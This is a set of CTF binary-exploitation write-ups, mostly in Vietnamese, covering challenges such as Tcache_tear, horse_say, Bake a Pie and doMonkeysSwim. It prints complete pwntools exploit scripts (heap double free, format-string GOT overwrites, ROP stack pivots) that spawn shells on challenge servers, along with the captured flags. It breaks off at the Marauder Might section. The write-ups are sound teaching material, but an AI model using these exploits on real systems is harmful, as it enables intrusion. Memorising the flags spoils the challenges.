FLAG{I_th1nk_th4t_you_c4n_jB_1n_1ph0n3_8}

Tcache_tear

Analyse

Ta thấy chương trình là một file ELF 64bit bật full cơ chế bảo vệ trừ PIE, và do file đã stripped nên tên của các hàm đã bị xóa Tiếp theo hãy bật ghidra để thực sự biết chương trình làm gì

Sau khi mở ghidra chúng ta thu thập được các hàm sau: Hàm main:

void main(void)

{
  long lVar1;
  uint local_c;
  
  time_system_func();
  printf("Name:");
  read_func(&DAT_00602060,0x20); //check thì biến này ở trong vùng nhớ lớn 0x27byte cho nên kh có BO ở đây
  local_c = 0;
  do {
    while( true ) {
      while( true ) {
        menu();
        lVar1 = choice();
        if (lVar1 != 2) break;
        if (local_c < 8) {
          free(DAT_00602088); //sau một hồi quan sát thì chỉ có ở đây là lỗi UAF có thể là double free
          local_c = local_c + 1;
        }
      }
      if (2 < lVar1) break;
      if (lVar1 == 1) {
        malloc_func();
      }
      else {
LAB_00400c75:
        puts("Invalid choice");
      }
    }
    if (lVar1 != 3) {
      if (lVar1 == 4) {
                    /* WARNING: Subroutine does not return */
        exit(0);
      }
      goto LAB_00400c75;
    }
    name_func();
  } while( true );
}

Đây là hàm thực thi chính, nhìn sơ qua chúng ta thấy các hàm như malloc() và free() gợi ý đây là bài liên quan đến Heap exploit Các hàm được hàm này gọi bao gồm

1. time_system_func
2. choice
3. malloc_func
4. name_func
5. menu Chương trình dùng hàm choice để nhận luồng nhập từ người dùng cụ thể như sau:

longlong choice(void) //chỉ có hàm này là hàm có canary

{
  longlong lVar1;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __read_chk(0,local_28,0x17,0x18); //không có buffer overflow
  lVar1 = atoll(local_28);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return lVar1; //trả về số nhập trong local_28
}

Nhìn vào hàm main ta thấy logic nó cho phép người dùng nhập tên sau đó in ra menu để chọn các chức năng của chương trình (nhận bằng hàm choice) tương ứng trong hàm menu như sau:

void menu(void)

{
  puts("$$$$$$$$$$$$$$$$$$$$$$$");
  puts("      Tcache tear     ");
  puts("$$$$$$$$$$$$$$$$$$$$$$$");
  puts("  1. Malloc            ");
  puts("  2. Free              ");
  puts("  3. Info              ");
  puts("  4. Exit              ");
  puts("$$$$$$$$$$$$$$$$$$$$$$$");
  printf("Your choice :");
  return;
}

Chương trình gồm có 3 chức năng chính: Khi ta chọn 1 nó nhảy vào hàm malloc_func:

void malloc_func(void)

{
  ulong __size;
  
  printf("Size:");
  __size = choice();
  if (__size < 0x100) { //giới hạn malloc() < 0x100 bytes
    DAT_00602088 = malloc(__size);
    printf("Data:");
    read_func(DAT_00602088,(int)__size + -0x10); //an toàn không bị lỗi buffer overflow vì đã trừ đi phần header
    puts("Done !");
  }
  return;
}

Hàm này có chức năng cho phép người dùng tạo một vùng nhớ (bé hơn 0x100 bytes) trong heap và cho chọn size của vùng nhớ đó cũng như điền data vào vùng nhớ mới khởi tạo

Khi ta chọn 3 nó nhảy vào hàm name_func:

void name_func(void)

{
  printf("Name :");
  write(1,&DAT_00602060,0x20); //đây cũng không có lỗi 
  return;
}

Hàm này có chức năng in ra 0x20 bytes từ địa chỉ &DAT_00602060 trong vùng .bss (vùng nhớ của biến name) ra màn hình

Nhưng có một điều đáng chú ý ở lựa chọn 2: Ta cũng thấy có lỗi cực kì nghiêm trọng trong hàm main ở lựa chọn số 2 đó chính free(* ptr) nhưng không xét con trỏ bằng NULL:

if (local_c < 8) {
          free(DAT_00602088); //sau một hồi quan sát thì chỉ có ở đây là lỗi UAF có thể là double free
          local_c = local_c + 1;
        }

Điều này gây ra các lỗi UAF hoặc Double free có thể được hacker sử dụng để chiếm quyền hệ thống.

Các hàm khác:

void time_system_func(void)

{
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  signal(0xe,time_out);
  alarm(0x3c);
  return;
}


void time_out(void)

{
  puts("Timeout");
                    /* WARNING: Subroutine does not return */
  _exit(1);
}

Các hàm này đơn giản là cho setbuf = 0 cho chương trình flush dữ liệu ngay, kèm với giới hạn thời gian 60s cho một lần chạy chương trình.

Ý tưởng

Vì chương trình xuất hiện lỗi Double free nên ta có thể có quyền Arbitrary Write Giải thích về Double Free: https://ir0nstone.gitbook.io/notes/binexp/heap/double-free

Đã có quyền ghi vào bất cứ địa chỉ nào, tiếp theo ta làm sao để có thể có shell

Sau khi phân tích file libc.so.6 ta nhận thấy đây là một phiên bản glibc cũ cụ thể là phiên bản 2.27 ở phiên bản này khi hàm free() được gọi nó sẽ được gọi thông qua __free_hook() trong glibc nên khi ta ghi địa chỉ hàm system() vào địa chỉ của hàm __free_hook() glibc thì khi lệnh free được thực hiện thay vì gọi hàm __free_hook() nó sẽ gọi hàm system

Khi đó nếu ta truyền thêm tham số /bin/sh\x00 cho free thì lúc đó chúng ta đã có Shell!!!

Nhưng làm sao để có địa chỉ hàm system trong glibc, glibc có cơ chế ASLR hiểu đơn giản là địa chỉ các hàm không hề cố định chúng thay đỗi mỗi khi chương trình được chạy, hiểu là khi chúng ta chạy chương trình thì địa chỉ của các hàm trong thư viện libc lại thay đổi. Do đó ta phải leak địa chỉ libc ngay trong lúc chạy chương trình đó,lúc đó ta mới có thể tìm địa chỉ hàm system và hàm __free_hook để thực hiện payload của mình:

Vậy tiếp theo làm sao để leak được libc.

Một phương pháp leak libc phổ biến trong các challenge heap là leak thông qua Unsorted_bin Đọc thêm về cách heap hoạt động và các cách tấn công heap ở đây: https://guyinatuxedo.github.io/25-heap/index.html

Cụ thể nhờ con trỏ fd và bk trong một chunk trong Unsorted_bin trỏ về main_arena một địa chỉ trong glibc cho nên ta có thể leak địa chỉ này, tính libc_base sau đó ta sẽ có được địa chỉ của system cũng như __free_hook để hoàn thành exploit

Nhưng nhìn lại vào code chương trình cụ thể ở option 1 hàm malloc_func():

void malloc_func(void)

{
  ulong __size;
  
  printf("Size:");
  __size = choice();
  if (__size < 0x100) { //giới hạn malloc() < 0x100 bytes
    DAT_00602088 = malloc(__size);
    printf("Data:");
    read_func(DAT_00602088,(int)__size + -0x10); //an toàn không bị lỗi buffer overflow vì đã trừ đi phần header
    puts("Done !");
  }
  return;
}

Chương trình chỏ cho phép ta malloc một chunk có kích thước dưới 0x100 bytes, nhưng muốn chunk rơi vào Unsorted_bin sau khi free ta cần chunk có kích thước lớn hơn 0x420 bytes Vậy bây giờ ta làm thế nào ???

Nhờ vào lỗi double_free đã nói cho ta quyền ghi vào địa chỉ bất kì data mà ta muốn do đó ta có thể fake_chunk với chunk_size đủ lớn để khi free nó rơi vào unsorted_bin

Lưu ý: Khi chúng ta fake_chunk chúng ta cũng cần phải fake luôn chunk liền sau fake_chunk đó vì glibc có cơ chế kiểm tra, nếu không chương trình của chúng ta sẽ bị lỗi.

PAYLOAD

Payload của chúng ta chia làm 3 phần Phần 1: Tạo fake_chunk và đưa fake_chunk vào Unsorted_bin

FAKE_CHUNK = 0x602060
TARGET_ADDR = p64(FAKE_CHUNK + 0x10) #Phần user_data của chunk

# Nhập Name tạo Fake Header (size 0x501)
user_payload = p64(0) + p64(0x501)
p.sendafter(b'Name:', user_payload)

fake_chunk_payload = p8(0x41) * (0x18) + \
    p64(FAKE_CHUNK + 0x10) + p8(0x41) * (0x500 - 0x18 - 0x18)
fake_chunk_payload += p64(0x500) + p64(0x21) + p8(0x42) * 0x10
fake_chunk_payload += p64(0x20) + p64(0x21) + p8(0x43) * 0x10
fake_chunk_payload += p64(0x20) + p64(0x21) + p8(0x43) * 0x10

arby_write(TARGET_ADDR, fake_chunk_payload)

free()

Địa chỉ của biến name trong vùng .bss là 0x602060 chúng ta tận dụng vùng nhớ này làm luôn fake chunk bởi vì chương trình có chức năng info in ra 0x20 bytes từ địa chỉ biến name nên khi fake chunk này rơi vào unsorted_bin dùng chức năng này ta sẽ đọc được giá trị con trỏ fd và bk của chunk này (là main_arena) thực hiện tính toán libc_base để tìm ra được địa chỉ hàm system() và hàm __free_hook

Ta dựng ba chunk giả liên tiếp để bypass check của glibc

Phần 2: Leak libc

name_data = info()
main_arena_leak = u64(name_data[0x10:0x18]) # lấy giá trị của fd pointer chunk này (offset từ 0x10 đến x018)

BASE_OFFSET = 0x3ebca0 
#Ở đây biết được phiên bản glibc là 2.27 cho nên ta tìm được offset của main_arena+60 đến libc_base
libc.address = main_arena_leak - BASE_OFFSET #tính toán libc_base

log.info(f"Main Arena Leak : {hex(main_arena_leak)}")
log.info(f"Libc Base       : {hex(libc.address)}")

Phần 3: Ghi đè __free_hook thành system và trigger:

free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']

log.info(f"__free_hook     : {hex(free_hook)}")
log.info(f"system          : {hex(system)}")

add(100, b'AAAA')
arby_write(p64(free_hook), p64(system), 40)

# Trigger shell
add(50, b'/bin/sh\x00')
free()

FULL PAYLOAD

from pwn import *


exe = ELF('./tcache_tear', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

p = remote('chall.pwnable.tw', 10207)

def add(size, data):
    p.sendafter(b'Your choice :', b'1')
    p.sendafter(b'Size:', str(size).encode())
    p.sendafter(b'Data:', data)

def free():
    p.sendafter(b'Your choice :', b'2')

def info():
    p.sendafter(b'Your choice :', b'3')
    p.recvuntil(b'Name :')
    return p.recv(0x20)

def arby_write(write_addr, write_val, bin_sz=10):
    add(bin_sz, b'AAAAAAAA')
    free()
    free()
    add(bin_sz, write_addr)
    add(bin_sz, b'junk')
    add(bin_sz, write_val)



# ==========Phần 1=============

FAKE_CHUNK = 0x602060
TARGET_ADDR = p64(FAKE_CHUNK + 0x10) # 0x602070

# Nhập Name tạo Fake Header (size 0x501)
user_payload = p64(0) + p64(0x501)
p.sendafter(b'Name:', user_payload)

fake_chunk_payload = p8(0x41) * (0x18) + \
    p64(FAKE_CHUNK + 0x10) + p8(0x41) * (0x500 - 0x18 - 0x18)
fake_chunk_payload += p64(0x500) + p64(0x21) + p8(0x42) * 0x10
fake_chunk_payload += p64(0x20) + p64(0x21) + p8(0x43) * 0x10
fake_chunk_payload += p64(0x20) + p64(0x21) + p8(0x43) * 0x10

arby_write(TARGET_ADDR, fake_chunk_payload)

free()

# ==========Phần 2=============

name_data = info()
main_arena_leak = u64(name_data[0x10:0x18]) # 8 byte fd pointer của Unsorted Bin

BASE_OFFSET = 0x3ebca0
libc.address = main_arena_leak - BASE_OFFSET

log.info(f"Main Arena Leak : {hex(main_arena_leak)}")
log.info(f"Libc Base       : {hex(libc.address)}")

# ==========Phần 3=============

free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']

log.info(f"__free_hook     : {hex(free_hook)}")
log.info(f"system          : {hex(system)}")

add(100, b'AAAA')
arby_write(p64(free_hook), p64(system), 40)

# Trigger shell
add(50, b'/bin/sh\x00')
free()

#cat /home/tcache_tear/flag để đọc flag
p.interactive()

Author: niddalA Ngày: 2025-10-21 Tools: pwntools, gdb, IDE

First we need to extract the horse_say.zip file with the password 'CSCV2025' provided by the author. Next we need to check the challenge file.

We see it is a 64-bit ELF file, Partial RELRO, and NO PIE!!!

Detect system vulnerabilities

After using the IDE to be able to see the code executing the program, we found the format string error here:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  // ...
  if ( fgets(s, 1024, stdin) )
  {
    // ...
    printf(s);                                  // format-string here
    // ...
    exit(0);
  }
  return 0;
}

Solution direction

Here the program has a format-string error but the program only allows one input, the program executes the command 'printf' and then 'exit' but to exploit the error from the program we need both read primitive to leak the address and write primitive to be able to get the shell. To be able to do that we need to somehow create a loop for the main function to trigger more format string errors instead of letting them end.

Previously, we saw that ELF files do not have PIE. This is very important because the addresses of main and GOT functions are fixed. Next, the file only has Partical RELRO. This allows the GOT address to be overwritten. Choosing to overwrite the GOT address is optimal in this challenge.

So what do we need to do now? In the first 'printf', we use format-string to be able to overwrite the address of the GOT cell of the 'exit' function to the address of the 'main' function, but here I think we should overwrite the GOT address of the 'exit' function to the address of the 'fget' function to avoid confusion and be able to immediately execute the next format-string error. Another extremely important thing is that our memory area 's' is not cleared after each run.

PoC

After running format-string infinite times we now have all the libc base addresses of the files.Finally, just overwrite the address of the strlen() function to the address of the system() function in GOT then for s = "/bin/sh", system("\bin\sh") will run and we have the flag.

from pwn import *

exe = ELF("./horse_say_patched")
context.terminal = ["tmux", "splitw", "-h"]
context.binary = exe

gdbscript = '''
b *0x40145A
'''
def conn():
    if args.LOCAL:
        # r = gdb.debug([exe.path], gdbscript)
        r = process([exe.path])
    else:
        r = remote("pwn1.cscv.vn", 6789)
        r.recvuntil(b'proof of work: ')
        proof = r.recvline().strip().decode()
        log.info(f"Proof: {proof}") 
        try:
            solution_bytes = subprocess.check_output(proof, shell=True)
            solution = solution_bytes.strip().decode()
            log.success(f"PoW Solution: {solution}")
            r.sendlineafter(b'solution: ', solution.encode())
            
        except subprocess.CalledProcessError as e:
            log.error(f"Failed to solve PoW. Command failed with error: {e}")
            r.close()
            return None 
    return r


def main():
    r = conn()

    # good luck pwning :)

    # loop back to main
    payload = b"%p%p%p%p.%p.%p%p%p%p%4727p.%p.%p.%p.%p.%p%p%p%hn" + p64(exe.got["exit"]) 
    r.sendlineafter(b'Say something: ', payload)
    r.wait(0.5)
    r.recvuntil(b'                ||     ||\n\n')

    # leak
    payload = b"%144$p"
    r.sendline(payload)
    r.recvuntil(b'< ')
    leak = r.recvuntil(b' >', drop=True)
    log.info(leak)
    leak = int(leak, 16)
    system = leak + 0x2e586
    log.info(f"system: {hex(system)}")
    libc_base = leak - 0x2a1ca
    log.info(f"libc base: {hex(libc_base)}")
    r.recvuntil(b'                ||     ||\n\n')

    # store strlen address in stack for later use
    payload = b'a'*8*10 + p64(exe.got["strlen"]) +  p64(exe.got["strlen"] +2) 
    r.sendline(payload)
    r.recvuntil(b'                ||     ||\n\n')

    # overwrite strlen GOT to system
    payload = f"%{system & 0xffff}c%25$hn" + f"%{((system >> 16) & 0xff) + 0x100 - (system & 0xff)}c%26$hhn"
    r.sendline(payload.encode())
    r.recvuntil(b'                ||     ||\n\n')

    # system("/bin/sh")
    payload = b"/bin/sh\x00"
    r.sendline(payload)
    
    r.interactive()


if __name__ == "__main__":
    main()

Author: niddalA Date: 13/03/2026

Phân tích

Bài chỉ cho một link kết nối tới server và nói chúng ta sẽ chơi poker Đầu tiên sẽ kết nối tới server Về luật chơi của Poker hãy xem link sau: https://youtu.be/CpSewSHZhmo Quay lại với bài tác giả không muốn chúng ta thắng như bình thường bây giờ hãy khai thác chương trình khi chúng ta nhập input ở Enter your name: Ở đây chương trình đã mắc lỗi Format-String ở mục nhập tên thay vì in lại %p thì nó lại in ra các địa chỉ như: 0x16.

Tiếp tục ta có thể dùng %n để ghi đè giá trị của biến chips của bản thân. Để làm như thế thì dùng ta cần phải biết biến chips nằm ở đâu. Sau khi thử với %p và %s tôi không tìm được chips nằm ở đâu, sau khi hỏi tác giả, author gợi ý dùng %x Ta dùng pwntools để làm việc này:

from pwn import *

def find_chips_with_hex():
    context.log_level = 'error'
    p = remote('challenge.utctf.live', 7255)
    
    # Gửi một chuỗi dài các %x để soi toàn bộ Stack dưới dạng Hex
    # Chúng ta tìm số 1f4 (500) hoặc 3e8 (1000)
    payload = "START." + ".%x"*40
    p.sendlineafter(b"name: ", payload.encode())
    
    p.recvuntil(b"Welcome to the table, START.")
    data = p.recvuntil(b"!", drop=True).decode()
    p.close()
    
    parts = data.split('.')
    print("\n[!] Stack View (Hex):")
    for i, val in enumerate(parts):
        if i == 0: continue
        # 1f4 là 500 chip
        if "1f4" in val.lower():
            print(f"Index {i:2}: {val}  <-- CÓ THỂ LÀ BIẾN CHIPS!")
        else:
            print(f"Index {i:2}: {val}")

find_chips_with_hex()

Chạy chương trình ta thấy Nghi ngờ các index 1,6,7,8,9,13 Sau khi test ta xác nhận index 7

Exploit

Sau khi trigger được hệ thống: Ta tiếp tục exploit Ở đây ta đã đạt được mục đích của tác giả bằng chứng là tới bước này ta không cần chơi poker và chọn n Mục đích chỉ là có chips cực lớn vượt quá chips có thể thắng một cách 'bình thường' => FLAG!!! FLAG: utflag{counting_chars_not_cards}

Write up House Of Joy

Author: niddalA Date: 13/03/2026

Phân tích

Challenge cung cấp cho chúng ta một file binary Tiếp theo hãy dùng Ghidra để phân tích nó Ta đã có source code:

undefined8 main(void)

{
  size_t sVar1;
  int local_5c;
  char local_58 [76];
  int local_c;
  
  setup();
  local_c = -0x21524111;
  printf("What is your name? ");
  fgets(local_58,0x40,stdin);
  sVar1 = strcspn(local_58,"\n");
  local_58[sVar1] = '\0';
  printf("Hello, ");
  printf(local_58);
  puts("!");
  printf("Enter the secret code: ");
  __isoc99_scanf(&DAT_0010203c,&local_5c);
  if (local_5c == local_c) {
    print_flag();
  }
  else {
    puts("Wrong! Nice try.");
  }
  return 0;
}

Ở đây vì chương trình cho chúng ta file binary và chúng ta chạy local và có flag thay vì cố gắng tìm lỗi ta hãy tìm luôn flag vì nó đã được tải về theo. Phân tích ta thấy hàm print_flag() ta tiếp tục tìm đến nó:

void print_flag(void)

{
  byte local_28 [28];
  int local_c;
  
  local_28[0] = 0x37;
  local_28[1] = 0x36;
  local_28[2] = 0x24;
  local_28[3] = 0x2e;
  local_28[4] = 0x23;
  local_28[5] = 0x25;
  local_28[6] = 0x39;
  local_28[7] = 0x24;
  local_28[8] = 0x72;
  local_28[9] = 0x30;
  local_28[10] = 0x2f;
  local_28[0xb] = 0x76;
  local_28[0xc] = 0x36;
  local_28[0xd] = 0x1d;
  local_28[0xe] = 0x31;
  local_28[0xf] = 0x36;
  local_28[0x10] = 0x30;
  local_28[0x11] = 0x73;
  local_28[0x12] = 0x2c;
  local_28[0x13] = 0x25;
  local_28[0x14] = 0x1d;
  local_28[0x15] = 0x2e;
  local_28[0x16] = 0x71;
  local_28[0x17] = 0x76;
  local_28[0x18] = 0x29;
  local_28[0x19] = 0x71;
  local_28[0x1a] = 0x26;
  local_28[0x1b] = 0x3f;
  for (local_c = 0; local_c < 0x1c; local_c = local_c + 1) {
    putchar((uint)(local_28[local_c] ^ 0x42));
  }
  putchar(10);
  return;
}

Ở đây thuật toán sẽ là 0x37 ^ 0x42 = 0x75 -> u Cứ thế ta sẽ được chuỗi FLAG!!! FLAG: utflag{f0rm4t_str1ng_l34k3d}

Write up Rude Guard

Author: niddalA Date: 13/03/2026 Ở Challange này tiếp tục cung cấp cho chúng ta file binary Dùng ghidra để xem được source code của chương trình. Tìm hàm main và ta được Source Code:

undefined8 main(int param_1,long param_2)

{
  int iVar1;
  
  if (param_1 == 1) {
    puts("Are you not going to say hello?");
  }
  else {
    iVar1 = atoi(*(char **)(param_2 + 8));
    if (iVar1 == 0x656c6c6f) {
      puts("Hi. What do you want.");
      read_input(0);
    }
    else {
      puts("Hi. Go away.");
    }
  }
  return 0;
}

Tiếp theo chúng ta xem hàm read_input() làm những gì

undefined8 read_input(int param_1)

{
  int iVar1;
  char local_28 [32];
  
  read(param_1,local_28,100);
  iVar1 = strcmp(local_28,"givemeflag\n");
  if (iVar1 == 0) {
    puts("How rude! utflag{you\'re going to need a sneakier way in...}");
  }
  else {
    puts("I won\'t let you pass. No matter what.");
  }
  return 0;
}

Ở đây ta nhận được chuỗi flag giả là: utflag{you\'re going to need a sneakier way in...} Ta thấy trong main chỉ có hàm read_input được gọi nhưng bây giờ hãy thử tìm kiếm hàm ẩn bằng lệnh sau: Ở đây thay vì cố gắng NOP để vào nó ta tìm kiếm nó luôn trong ghidra vì challenge không bắt chúng ta chạy trên server nên chắc chắn flag sẽ load luôn vào khi ta tải file. Source Code:

undefined8 secret_function(void)

{
  byte local_48 [52];
  int local_14;
  byte local_d;
  int local_c;
  
  local_d = 0x32;
  local_48[0] = 0x47;
  local_48[1] = 0x46;
  local_48[2] = 0x54;
  local_48[3] = 0x5e;
  local_48[4] = 0x53;
  local_48[5] = 0x55;
  local_48[6] = 0x49;
  local_48[7] = 0x55;
  local_48[8] = 0x47;
  local_48[9] = 6;
  local_48[10] = 0x40;
  local_48[0xb] = 0x56;
  local_48[0xc] = 0x6d;
  local_48[0xd] = 0x45;
  local_48[0xe] = 6;
  local_48[0xf] = 0x41;
  local_48[0x10] = 0x6d;
  local_48[0x11] = 0x45;
  local_48[0x12] = 1;
  local_48[0x13] = 6;
  local_48[0x14] = 0x59;
  local_48[0x15] = 0x57;
  local_48[0x16] = 0x40;
  local_48[0x17] = 0x6d;
  local_48[0x18] = 0x46;
  local_48[0x19] = 0x5a;
  local_48[0x1a] = 6;
  local_48[0x1b] = 0x5c;
  local_48[0x1c] = 0x6d;
  local_48[0x1d] = 0x5b;
  local_48[0x1e] = 0x6d;
  local_48[0x1f] = 0x46;
  local_48[0x20] = 0x5a;
  local_48[0x21] = 2;
  local_48[0x22] = 0x47;
  local_48[0x23] = 0x55;
  local_48[0x24] = 0x5a;
  local_48[0x25] = 0x46;
  local_48[0x26] = 0x4f;
  local_14 = 0x27;
  for (local_c = 0; local_c < local_14; local_c = local_c + 1) {
    putchar((uint)(local_48[local_c] ^ local_d));
  }
  return 0;
}

Tính toán ta sẽ ra FLAG!!! FLAG: utflag{gu4rd_w4s_w34ker_th4n_i_th0ught}

Author: niddalA Date: 06/04/2026 Credit:

(Tham khảo bài 2,3,4 - Đã chỉnh sửa lại một số chỗ)

1. BAKE A PIE

PHÂN TÍCH

Challenge cho ta một file zip, sau khi extract file ta được một file binary SOURCE CODE:

void main(void)

{
  uint uVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char local_29;
  uint local_28;
  uint local_24;
  undefined8 local_20;
  
  local_20 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  puts("I want to create the perfect pi recipe, but can\'t quite get it right...");
  puts("Can you help me bake the perfect pi?");
  putchar(10);
  do {
    while( true ) {
      while( true ) {
        puts("------------------------------------------------------------");
        printf("(S)how recipe, (C)change ingredient, (T)aste test: ");
        __isoc99_scanf("%c%*c",&local_29);
        if (local_29 != 'T') break;
        if (pi == 3.141592653589793) {
          puts("Yummy! This is the perfect pi!");
          execl("/bin/bash","/bin/bash",0);
        }
        else {
          puts("Still doesn\'t taste right. Let\'s try a different recipe.");
        }
      }
      if (local_29 < 'U') break;
LAB_0040140e:
      printf("Unknown option \'%c\'\n",(ulong)(uint)(int)local_29);
    }
    if (local_29 == 'C') {
      printf("Which ingredient would you like to change?: ");
      __isoc99_scanf("%u%*c",&local_28);
      if (local_28 < 9) {
        printf("Enter ingredient: ");
        fgets(ingredients + (ulong)local_28 * 0x20,0x20,stdin);
        uVar1 = local_28;
        sVar2 = strlen(ingredients + (ulong)local_28 * 0x20);
        *(undefined1 *)((ulong)uVar1 * 0x20 + sVar2 + 0x40407f) = 0;
      }
      else {
        puts("The recipe doesn\'t have that many ingredients");
      }
    }
    else {
      if (local_29 != 'S') goto LAB_0040140e;
      for (local_24 = 0; local_24 < 8; local_24 = local_24 + 1) {
        printf("%d. %s\n",(ulong)local_24,ingredients + (ulong)local_24 * 0x20);
      }
    }
  } while( true );
}

Chương trình mắc lỗi ở OPTION 'C', Cụ thể là lỗi OOB (Out Of Bounds)

printf("Which ingredient would you like to change?: ");
__isoc99_scanf("%u%*c",&local_28);
if (local_28 < 9) { // <--- LỖ HỔNG Ở ĐÂY
    printf("Enter ingredient: ");
    fgets(ingredients + (ulong)local_28 * 0x20, 0x20, stdin);
}

Ở trong tùy chọn S chương trình chỉ in ra 0->7 tổng là 8 phần tử:

for (local_24 = 0; local_24 < 8; local_24 = local_24 + 1) {
        printf("%d. %s\n",(ulong)local_24,ingredients + (ulong)local_24 * 0x20);
}

Nhưng ở OPTION C cho nhập tới index 8 Điều kiện để win bài này rất đơn giản

if (pi == 3.141592653589793) {
          puts("Yummy! This is the perfect pi!");
          execl("/bin/bash","/bin/bash",0);
}

Nếu ghi đè được biến pi thành 3.141592653589793 thì hàm sẽ vào SHELL!!! vì biến pi nằm ngay sau mảng ingredients(tạm gọi) khi ta nhập index = 8 tương đương với ingredients[8] == pi (vì mảng ingredients chỉ đến index 7) thì ta sẽ ghi đè được vào biến pi Ta đổi: 3.141592653589793 == 0x400921fb54442d18

PAYLOAD

from pwn import *
p = remote('bake-a-pi.ctf.ritsec.club',1555)

p.sendlineafter(b'?', b'C')
p.sendlineafter(b':', b'8')
p.sendlineafter(b':', p64(0x400921fb54442d18))
p.sendline(b'T')

p.interactive()

FLAG: RS{0ff_by_0n3_4s_e4sy_4s_4_sk1llb17_p1}

2. doMonkeysSwim

Phân tích:

Bài có 6 option trong đó có 3 option sau có dính lỗi: Monket see: Cho phép nhập index để in ra một giá trị. Không có cơ chế kiểm tra giới hạn (Out-of-bounds Read). Nếu nhập index = 3, ta rò rỉ (leak) được Stack Canary Monkey swaperoo: Cho phép ghi một lượng lớn dữ liệu tùy ý vào một vùng nhớ BSS có tên là bed (địa chỉ cố định 0x4cca60). Monkey do: Sử dụng hàm fgets(buf, 40, stdin). buf nằm cách Canary 24 bytes. Ta có 24 (padding) + 8 (Canary) + 8 (Saved RBP) = 40 bytes. Đây là lỗi Stack/Buffer Overflow vừa khít để ghi đè RBP, mở đường cho kỹ thuật Stack Pivot.

Ý tưởng khai thác:

Vì fgets chỉ cho phép ghi đè đúng đến Saved RBP (không chạm tới được Saved RIP), ta không thể chạy ROP chain trực tiếp trên Stack. Giải pháp là kết hợp Stack Pivot và BSS Injection.

1. Leak Canary. Lấy Canary từ Option 3 để chuẩn bị cho payload overflow, đảm bảo chương trình không bị crash khi kết thúc hàm.

2. Ghi một ROP Chain hoàn chỉnh và chuỗi "/bin/sh\x00" vào vùng nhớ bed thông qua Option 5.

3. Dùng Option 4, gửi payload đè 24 bytes rác + Canary xịn + Saved RBP trỏ về vùng nhớ bed.

4. Khi hàm main kết thúc, lệnh leave; ret sẽ gán RSP = RBP, khiến Stack bị xoay (pivot) sang vùng bed và bắt đầu thực thi ROP Chain.

PAYLOAD

#!/usr/bin/env python3
from pwn import *

exe = ELF("doMonkeysSwim_patched", checksec=False)
context.binary = exe
context.log_level = "debug"
context.terminal = ['alacritty', '-e']

def main():
    io = remote("dms.ctf.ritsec.club", 1400)

    io.recvuntil(b">> ")

    io.sendline(b"3")
    io.sendline(b"3")
    io.recvuntil(b"0x")
    canary = int(io.recvline().strip(), 16)
    io.recvuntil(b">> ")

    bed = exe.sym["bed"]
    poprdi = 0x401f43
    poprsi = 0x401f45
    poprdx = 0x401f47
    poprax = 0x401f49
    syscall = 0x401f26

    payload = p64(canary)
    payload += p64(0)
    payload += p64(poprdi)
    payload += p64(bed + 0x58)
    payload += p64(poprsi)
    payload += p64(0)
    payload += p64(poprdx)
    payload += p64(0)
    payload += p64(poprax)
    payload += p64(59)
    payload += p64(syscall)
    payload += b"/bin/sh\x00"

    io.sendline(b"5")
    io.recvuntil(b"Swap this: ")
    io.send(payload)
    io.send(b"\n")
    io.recvuntil(b"With this: ")
    io.sendline(b"B")
    io.recvuntil(b">> ")

    overflow = b"A" * 0x18 + p64(canary) + p64(bed + 8)[:-1]
    io.sendline(b"4")
    io.send(overflow)
    io.send(b"\n")
    io.recvuntil(b">> ")

    io.sendline(b"6")
    io.interactive()


if __name__ == "__main__":
    main()

FLAG: RS{wh3r3_h4s_4ll_th3_rum_g0n3_mr_m0nk3y_m4n?}

3. Marauder Might

Tổng quan: Một máy ảo (Virtual Machine) tùy chỉnh có lỗi logic trong việc quản lý ngăn xếp (Stack Management).

Phân tích tĩnh (Static Analysis)

Luồng thực thi chính (main):

Hàm main tại 0x4009e8 thực hiện các công việc cơ bản: thiết lập buffering cho stdout/stdin và bắt đầu một vòng lặp nạp/chạy chương trình VM.

while (readprogram(&var_20, 0) == 0) {
    runprogram(&var_20); // Thực thi logic VM
    freeprogram(&var_20);
}

Kiến trúc ngăn xếp của VM (Host Stack Frame):

Điểm mấu chốt nằm ở cách hàm runprogram (tại 0x400890) thiết lập Stack Frame trên kiến trúc AArch64.

Dựa trên mã máy:

00400890  sub  sp, sp, #0x820     ; Cấp phát 0x820 bytes
00400894  stp  fp, lr, [sp]       ; Lưu Frame Pointer và Link Register (Return Address)
00400898  mov  fp, sp             ; FP trỏ vào đáy stack hiện tại

Trong AArch64, lr (Link Register - địa chỉ trả về) được lưu tại [sp + 0x8]. Ngay phía trên nó, từ [sp + 0x10] trở đi, là vùng nhớ dành cho VM Stack.

Lỗ hổng Underflow tại hàm Pop:

Máy ảo sử dụng một con trỏ toàn cục data_4a1968 để quản lý đỉnh ngăn xếp của nó (VM SP). Hãy nhìn vào hàm pop tại 0x40083c:

0040083c    data_4a1968 -= 8        // Giảm con trỏ VM SP đi 8 đơn vị (lùi về 1 slot)
00400850    result.q = *data_4a1968 // Trả về giá trị tại vị trí mới
00400854    return result

Lỗ hổng: Hàm này hoàn toàn không kiểm tra biên dưới (Lower bound check). Nếu chương trình VM thực hiện lệnh pop khi stack đang rỗng (con trỏ đang ở sp + 0x10), con trỏ sẽ bị trừ đi 8 và nhảy về sp + 0x8.

Hệ quả: Vị trí sp + 0x8 chính là nơi lưu trữ lr của hàm Host. Chúng ta có thể đọc hoặc ghi đè địa chỉ trả về của hàm runprogram bằng các lệnh VM.

Phân tích Opcode và Logic VM

Máy ảo xử lý các byte dữ liệu (Opcodes) theo luồng sau: Opcode 0x01: Thoát vòng lặp (break), kết thúc chương trình VM. Opcode 0x02: Nhánh lệnh phức tạp. Nếu byte tiếp theo là 0x02: Gọi sub_400824(), hàm này thực chất thực hiện lệnh pop. Opcode 0x00: Đọc một byte index và đẩy một giá trị từ bảng dữ liệu vào stack (push).

Kịch bản khai thác

